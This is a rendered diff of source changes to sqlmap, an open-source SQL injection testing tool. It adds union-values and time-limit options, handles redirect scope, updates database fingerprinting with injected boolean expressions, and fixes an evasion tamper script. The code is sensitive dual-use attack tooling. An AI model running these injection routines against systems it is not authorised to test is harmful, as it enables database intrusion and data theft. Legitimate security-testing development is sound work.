if conf.get("timeLimit") and kb.get("startTime") and (time.time() - kb.startTime > conf.timeLimit):
|
||||
raise SystemExit
|
||||
|
||||
if noneToNull and value is None:
|
||||
return NULL
|
||||
|
||||
|
|
|
@ -49,6 +49,19 @@ class AttribDict(dict):
|
|||
else:
|
||||
return None
|
||||
|
||||
def __delattr__(self, item):
|
||||
"""
|
||||
Deletes attributes
|
||||
"""
|
||||
|
||||
try:
|
||||
return self.pop(item)
|
||||
except KeyError:
|
||||
if self.keycheck:
|
||||
raise AttributeError("unable to access item '%s'" % item)
|
||||
else:
|
||||
return None
|
||||
|
||||
def __setattr__(self, item, value):
|
||||
"""
|
||||
Maps attributes to values
|
||||
|
|
|
@ -929,7 +929,7 @@ def _setPreprocessFunctions():
|
|||
else:
|
||||
try:
|
||||
function(_urllib.request.Request("http://localhost"))
|
||||
except:
|
||||
except Exception as ex:
|
||||
tbMsg = traceback.format_exc()
|
||||
|
||||
if conf.debug:
|
||||
|
@ -943,8 +943,8 @@ def _setPreprocessFunctions():
|
|||
|
||||
errMsg = "function 'preprocess(req)' "
|
||||
errMsg += "in preprocess script '%s' " % script
|
||||
errMsg += "appears to be invalid "
|
||||
errMsg += "(Note: find template script at '%s')" % filename
|
||||
errMsg += "had issues in a test run ('%s'). " % getSafeExString(ex)
|
||||
errMsg += "You can find a template script at '%s'" % filename
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
def _setPostprocessFunctions():
|
||||
|
@ -1801,6 +1801,9 @@ def _cleanupOptions():
|
|||
conf.dbms = dbms if conf.dbms and ',' not in conf.dbms else None
|
||||
break
|
||||
|
||||
if conf.uValues:
|
||||
conf.uCols = "%d-%d" % (1 + conf.uValues.count(','), 1 + conf.uValues.count(','))
|
||||
|
||||
if conf.testFilter:
|
||||
conf.testFilter = conf.testFilter.strip('*+')
|
||||
conf.testFilter = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testFilter)
|
||||
|
@ -2168,6 +2171,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||
kb.smokeMode = False
|
||||
kb.reduceTests = None
|
||||
kb.sslSuccess = False
|
||||
kb.startTime = time.time()
|
||||
kb.stickyDBMS = False
|
||||
kb.suppressResumeInfo = False
|
||||
kb.tableFrom = None
|
||||
|
@ -2582,6 +2586,10 @@ def _basicOptionValidation():
|
|||
errMsg = "switch '--text-only' is incompatible with switch '--null-connection'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.uValues and conf.uChar:
|
||||
errMsg = "option '--union-values' is incompatible with option '--union-char'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.base64Parameter and conf.tamper:
|
||||
errMsg = "option '--base64' is incompatible with option '--tamper'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
@ -2804,6 +2812,11 @@ def _basicOptionValidation():
|
|||
errMsg = "option '--dump-format' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(DUMP_FORMAT, True))
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.uValues and (not re.search(r"\A['\w\s.,()%s-]+\Z" % CUSTOM_INJECTION_MARK_CHAR, conf.uValues) or conf.uValues.count(CUSTOM_INJECTION_MARK_CHAR) != 1):
|
||||
errMsg = "option '--union-values' must contain valid UNION column values, along with the injection position "
|
||||
errMsg += "(e.g. 'NULL,1,%s,NULL')" % CUSTOM_INJECTION_MARK_CHAR
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.skip and conf.testParameter:
|
||||
if intersect(conf.skip, conf.testParameter):
|
||||
errMsg = "option '--skip' is incompatible with option '-p'"
|
||||
|
@ -2830,10 +2843,6 @@ def _basicOptionValidation():
|
|||
errMsg = "value for option '--time-sec' must be a positive integer"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.uChar and not re.match(UNION_CHAR_REGEX, conf.uChar):
|
||||
errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
|
||||
errMsg = "option '--crack' should be used as a standalone"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
|
|
@ -118,6 +118,7 @@ optDict = {
|
|||
"uCols": "string",
|
||||
"uChar": "string",
|
||||
"uFrom": "string",
|
||||
"uValues": "string",
|
||||
"dnsDomain": "string",
|
||||
"secondUrl": "string",
|
||||
"secondReq": "string",
|
||||
|
@ -239,6 +240,7 @@ optDict = {
|
|||
"skipWaf": "boolean",
|
||||
"testFilter": "string",
|
||||
"testSkip": "string",
|
||||
"timeLimit": "float",
|
||||
"webRoot": "string",
|
||||
},
|
||||
|
||||
|
|
|
@ -20,7 +20,7 @@ from thirdparty import six
|
|||
from thirdparty.six import unichr as _unichr
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.7.7.3"
|
||||
VERSION = "1.7.11.3"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
|
|
@ -637,7 +637,7 @@ def _createDumpDir():
|
|||
if not os.path.isdir(conf.dumpPath):
|
||||
try:
|
||||
os.makedirs(conf.dumpPath)
|
||||
except OSError as ex:
|
||||
except Exception as ex:
|
||||
tempDir = tempfile.mkdtemp(prefix="sqlmapdump")
|
||||
warnMsg = "unable to create dump directory "
|
||||
warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex))
|
||||
|
|
|
@ -414,6 +414,9 @@ def cmdLineParser(argv=None):
|
|||
techniques.add_argument("--union-from", dest="uFrom",
|
||||
help="Table to use in FROM part of UNION query SQL injection")
|
||||
|
||||
techniques.add_argument("--union-values", dest="uValues",
|
||||
help="Column values to use for UNION query SQL injection")
|
||||
|
||||
techniques.add_argument("--dns-domain", dest="dnsDomain",
|
||||
help="Domain name used for DNS exfiltration attack")
|
||||
|
||||
|
@ -736,6 +739,9 @@ def cmdLineParser(argv=None):
|
|||
general.add_argument("--test-skip", dest="testSkip",
|
||||
help="Skip tests by payloads and/or titles (e.g. BENCHMARK)")
|
||||
|
||||
general.add_argument("--time-limit", dest="timeLimit", type=float,
|
||||
help="Run with a time limit in seconds (e.g. 3600)")
|
||||
|
||||
general.add_argument("--web-root", dest="webRoot",
|
||||
help="Web server document root directory (e.g. \"/var/www\")")
|
||||
|
||||
|
|
|
@ -122,6 +122,7 @@ from lib.core.settings import PLAIN_TEXT_CONTENT_TYPE
|
|||
from lib.core.settings import RANDOM_INTEGER_MARKER
|
||||
from lib.core.settings import RANDOM_STRING_MARKER
|
||||
from lib.core.settings import REPLACEMENT_MARKER
|
||||
from lib.core.settings import SAFE_HEX_MARKER
|
||||
from lib.core.settings import TEXT_CONTENT_TYPE_REGEX
|
||||
from lib.core.settings import UNENCODED_ORIGINAL_VALUE
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
|
@ -641,7 +642,7 @@ class Connect(object):
|
|||
responseHeaders = conn.info()
|
||||
responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, "geturl") else url
|
||||
|
||||
if hasattr(conn, "redurl"):
|
||||
if getattr(conn, "redurl", None) is not None:
|
||||
responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl
|
||||
|
||||
responseHeaders = patchHeaders(responseHeaders)
|
||||
|
@ -1029,6 +1030,8 @@ class Connect(object):
|
|||
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType]
|
||||
contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE)
|
||||
conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))
|
||||
if "urlencoded" in contentType:
|
||||
postUrlEncode = True
|
||||
|
||||
if payload:
|
||||
delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER)
|
||||
|
@ -1069,7 +1072,9 @@ class Connect(object):
|
|||
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
|
||||
# payloads in SOAP/XML should have chars > and < replaced
|
||||
# with their HTML encoded counterparts
|
||||
payload = payload.replace("&#", SAFE_HEX_MARKER)
|
||||
payload = payload.replace('&', "&").replace('>', ">").replace('<', "<").replace('"', """).replace("'", "'") # Reference: https://stackoverflow.com/a/1091953
|
||||
payload = payload.replace(SAFE_HEX_MARKER, "&#")
|
||||
elif kb.postHint == POST_HINT.JSON:
|
||||
payload = escapeJsonValue(payload)
|
||||
elif kb.postHint == POST_HINT.JSON_LIKE:
|
||||
|
|
|
@ -274,7 +274,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
|
|||
|
||||
stopLimit = 1
|
||||
|
||||
elif (not count or int(count) == 0):
|
||||
elif not isNumPosStrValue(count):
|
||||
if not count:
|
||||
warnMsg = "the SQL query provided does not "
|
||||
warnMsg += "return any output"
|
||||
|
|
|
@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
|
|||
"""
|
||||
|
||||
import io
|
||||
import re
|
||||
import time
|
||||
import types
|
||||
|
||||
|
@ -71,6 +72,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
|
|||
def http_error_302(self, req, fp, code, msg, headers):
|
||||
start = time.time()
|
||||
content = None
|
||||
forceRedirect = False
|
||||
redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None
|
||||
|
||||
try:
|
||||
|
@ -111,12 +113,18 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
|
|||
redurl = _urllib.parse.urljoin(req.get_full_url(), redurl)
|
||||
|
||||
self._infinite_loop_check(req)
|
||||
if conf.scope:
|
||||
if not re.search(conf.scope, redurl, re.I):
|
||||
redurl = None
|
||||
else:
|
||||
forceRedirect = True
|
||||
else:
|
||||
self._ask_redirect_choice(code, redurl, req.get_method())
|
||||
except ValueError:
|
||||
redurl = None
|
||||
result = fp
|
||||
|
||||
if redurl and kb.choices.redirect == REDIRECTION.YES:
|
||||
if redurl and (kb.choices.redirect == REDIRECTION.YES or forceRedirect):
|
||||
parseResponse(content, headers)
|
||||
|
||||
req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl)
|
||||
|
|
|
@ -355,7 +355,7 @@ def errorUse(expression, dump=False):
|
|||
|
||||
stopLimit = 1
|
||||
|
||||
elif (not count or int(count) == 0):
|
||||
elif not isNumPosStrValue(count):
|
||||
if not count:
|
||||
warnMsg = "the SQL query provided does not "
|
||||
warnMsg += "return any output"
|
||||
|
|
|
@ -133,7 +133,8 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
|
|||
items.append((count, ratio))
|
||||
|
||||
if not isNullValue(kb.uChar):
|
||||
for regex in (kb.uChar.strip("'"), r'>\s*%s\s*<' % kb.uChar.strip("'")):
|
||||
value = re.escape(kb.uChar.strip("'"))
|
||||
for regex in (value, r'>\s*%s\s*<' % value):
|
||||
contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None]
|
||||
if len(contains) == 1:
|
||||
retVal = contains[0]
|
||||
|
@ -340,7 +341,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
|
|||
warnMsg = "if UNION based SQL injection is not detected, "
|
||||
warnMsg += "please consider "
|
||||
|
||||
if not conf.uChar and count > 1 and kb.uChar == NULL:
|
||||
if not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None:
|
||||
message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "
|
||||
|
||||
if not readInput(message, default='Y', boolean=True):
|
||||
|
|
|
@ -308,7 +308,7 @@ def unionUse(expression, unpack=True, dump=False):
|
|||
|
||||
stopLimit = 1
|
||||
|
||||
elif (not count or int(count) == 0):
|
||||
elif not isNumPosStrValue(count):
|
||||
if not count:
|
||||
warnMsg = "the SQL query provided does not "
|
||||
warnMsg += "return any output"
|
||||
|
|
|
@ -181,8 +181,11 @@ class HashDB(object):
|
|||
try:
|
||||
self.cursor.execute("BEGIN TRANSACTION")
|
||||
except:
|
||||
try:
|
||||
# Reference: http://stackoverflow.com/a/25245731
|
||||
self.cursor.close()
|
||||
except sqlite3.ProgrammingError:
|
||||
pass
|
||||
threadData.hashDBCursor = None
|
||||
self.cursor.execute("BEGIN TRANSACTION")
|
||||
finally:
|
||||
|
|
|
@ -106,7 +106,7 @@ def _search(dork):
|
|||
|
||||
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
|
||||
|
||||
page = getUnicode(page) # Note: if upper function call fails (Issue #4202)
|
||||
page = getUnicode(page) # Note: if decodePage call fails (Issue #4202)
|
||||
|
||||
retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)]
|
||||
|
||||
|
@ -171,6 +171,8 @@ def _search(dork):
|
|||
errMsg = "unable to connect"
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
|
||||
page = getUnicode(page) # Note: if decodePage call fails (Issue #4202)
|
||||
|
||||
retVal = [_urllib.parse.unquote(match.group(1).replace("&", "&")) for match in re.finditer(regex, page, re.I | re.S)]
|
||||
|
||||
if not retVal and "issue with the Tor Exit Node you are currently using" in page:
|
||||
|
|
|
@ -45,9 +45,10 @@ class Fingerprint(GenericFingerprint):
|
|||
# Reference: https://dev.mysql.com/doc/relnotes/mysql/<major>.<minor>/en/
|
||||
|
||||
versions = (
|
||||
(80000, 80033), # MySQL 8.0
|
||||
(80100, 80102), # MySQL 8.1
|
||||
(80000, 80035), # MySQL 8.0
|
||||
(60000, 60014), # MySQL 6.0
|
||||
(50700, 50742), # MySQL 5.7
|
||||
(50700, 50744), # MySQL 5.7
|
||||
(50600, 50652), # MySQL 5.6
|
||||
(50500, 50563), # MySQL 5.5
|
||||
(50400, 50404), # MySQL 5.4
|
||||
|
|
|
@ -105,7 +105,7 @@ class Fingerprint(GenericFingerprint):
|
|||
logger.info(infoMsg)
|
||||
|
||||
# Reference: https://en.wikipedia.org/wiki/Oracle_Database
|
||||
for version in ("21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"):
|
||||
for version in ("23c", "21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"):
|
||||
number = int(re.search(r"([\d]+)", version).group(1))
|
||||
output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2))
|
||||
|
||||
|
|
|
@ -131,7 +131,9 @@ class Fingerprint(GenericFingerprint):
|
|||
infoMsg = "actively fingerprinting %s" % DBMS.PGSQL
|
||||
logger.info(infoMsg)
|
||||
|
||||
if inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"):
|
||||
if inject.checkBooleanExpression("RANDOM_NORMAL(0.0, 1.0) IS NOT NULL"):
|
||||
Backend.setVersion(">= 16.0")
|
||||
elif inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"):
|
||||
Backend.setVersion(">= 15.0")
|
||||
elif inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"):
|
||||
Backend.setVersion(">= 14.0")
|
||||
|
|
12
sqlmap.conf
12
sqlmap.conf
|
@ -412,6 +412,11 @@ uChar =
|
|||
# Example: INFORMATION_SCHEMA.COLLATIONS
|
||||
uFrom =
|
||||
|
||||
# Column values to use for UNION query SQL injection.
|
||||
# Valid: string
|
||||
# Example: NULL,1,*,NULL
|
||||
uValues =
|
||||
|
||||
# Domain name used for DNS exfiltration attack.
|
||||
# Valid: string
|
||||
dnsDomain =
|
||||
|
@ -818,12 +823,15 @@ skipWaf = False
|
|||
# Default: sqlmap
|
||||
tablePrefix = sqlmap
|
||||
|
||||
# Select tests by payloads and/or titles (e.g. ROW)
|
||||
# Select tests by payloads and/or titles (e.g. ROW).
|
||||
testFilter =
|
||||
|
||||
# Skip tests by payloads and/or titles (e.g. BENCHMARK)
|
||||
# Skip tests by payloads and/or titles (e.g. BENCHMARK).
|
||||
testSkip =
|
||||
|
||||
# Run with a time limit in seconds (e.g. 3600).
|
||||
timeLimit =
|
||||
|
||||
# Web server document root directory (e.g. "/var/www").
|
||||
webRoot =
|
||||
|
||||
|
|
|
@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission
|
|||
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.enums import PRIORITY
|
||||
from lib.core.settings import REPLACEMENT_MARKER
|
||||
|
||||
__priority__ = PRIORITY.HIGHEST
|
||||
|
||||
|
@ -36,6 +37,7 @@ def tamper(payload, **kwargs):
|
|||
"""
|
||||
|
||||
if payload and payload.find("IF") > -1:
|
||||
payload = payload.replace("()", REPLACEMENT_MARKER)
|
||||
while payload.find("IF(") > -1:
|
||||
index = payload.find("IF(")
|
||||
depth = 1
|
||||
|
@ -64,4 +66,6 @@ def tamper(payload, **kwargs):
|
|||
else:
|
||||
break
|
||||
|
||||
payload = payload.replace(REPLACEMENT_MARKER, "()")
|
||||
|
||||
return payload
|
||||
|
|
Loading…
Reference in New Issue
Block a user